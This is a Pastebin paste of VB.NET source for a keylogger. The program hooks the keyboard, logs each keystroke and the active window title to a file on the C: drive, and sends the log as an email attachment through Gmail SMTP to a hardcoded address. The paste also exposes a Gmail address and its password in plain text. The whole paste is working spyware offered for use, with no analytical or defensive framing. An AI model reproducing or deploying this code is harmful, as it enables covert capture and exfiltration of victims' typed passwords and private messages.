Advertisement
Guest User

Untitled

a guest
Jul 26th, 2017
505
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 2.96 KB | None | 0 0
  1. Imports System.IO
  2. Imports Microsoft.Win32
  3. Imports System.Net.Mail
  4. Imports System.Web
  5.  
  6. Public Class Form1
  7.     Dim WithEvents K As New Keyboard
  8.     Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
  9.     Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal ipstring As String, ByVal cch As Int32) As Int32
  10.     Dim strin As String = Nothing
  11.  
  12.     Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
  13.         K.DiposeHook()
  14.     End Sub
  15.  
  16.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  17.         IO.Directory.CreateDirectory("C:\Keylogger log")
  18.         IO.File.AppendAllText("C:\Keylogger log\log.txt", "-----------------" + vbNewLine + vbNewLine + "Keylogged strokes" + vbNewLine + vbNewLine + "-----------------" + vbNewLine + vbNewLine + vbNewLine)
  19.         Timer1.Start()
  20.         K.CreateHook()
  21.     End Sub
  22.     Private Sub K_down(ByVal Key As String) Handles K.Down
  23.         TextBox1.Text &= Key
  24.         IO.File.AppendAllText("C:\Keylogger log\log.txt", Key)
  25.  
  26.  
  27.        
  28.  
  29.     End Sub
  30.     Private Function GetActiveWindowTitle() As String
  31.         Dim MyStr As String
  32.         MyStr = New String(Chr(0), 100)
  33.         GetWindowText(GetForegroundWindow, MyStr, 100)
  34.         MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
  35.         Return MyStr
  36.     End Function
  37.  
  38.     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  39.         K.DiposeHook()
  40.         Timer1.Stop()
  41.     End Sub
  42.  
  43.     Private Sub Button1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  44.         Dim mail As New MailMessage()
  45.         Dim SmtpServer As New SmtpClient
  46.         Dim MsgAttachment1 As New Attachment("C:\Keylogger log\log.txt")
  47.         SmtpServer.Credentials = New Net.NetworkCredential("dogersch@gmail.com", "trampoline")
  48.         SmtpServer.Port = 587
  49.         SmtpServer.Host = "smtp.gmail.com"
  50.         SmtpServer.EnableSsl = True
  51.         SmtpServer.EnableSsl = True
  52.         mail.To.Add("dogersch@gmail.com")
  53.         mail.From = New MailAddress("duffalodjeem@gmail.com")
  54.         mail.Subject = "Keylogger.log"
  55.         mail.Body = "C:\Keylogger log\log.txt"
  56.         mail.Attachments.Add(MsgAttachment1)
  57.         SmtpServer.Send(mail)
  58.  
  59.  
  60.  
  61.  
  62.  
  63.     End Sub
  64.  
  65.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  66.  
  67.         If strin <> GetActiveWindowTitle() Then
  68.             TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine + GetActiveWindowTitle() + vbNewLine + vbNewLine
  69.             IO.File.AppendAllText("C:\Keylogger log\log.txt", vbNewLine + "[" + GetActiveWindowTitle() + "]" + vbNewLine)
  70.             strin = GetActiveWindowTitle()
  71.         End If
  72.  
  73.     End Sub
  74.  
  75.     Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
  76.  
  77.  
  78.  
  79.     End Sub
  80. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement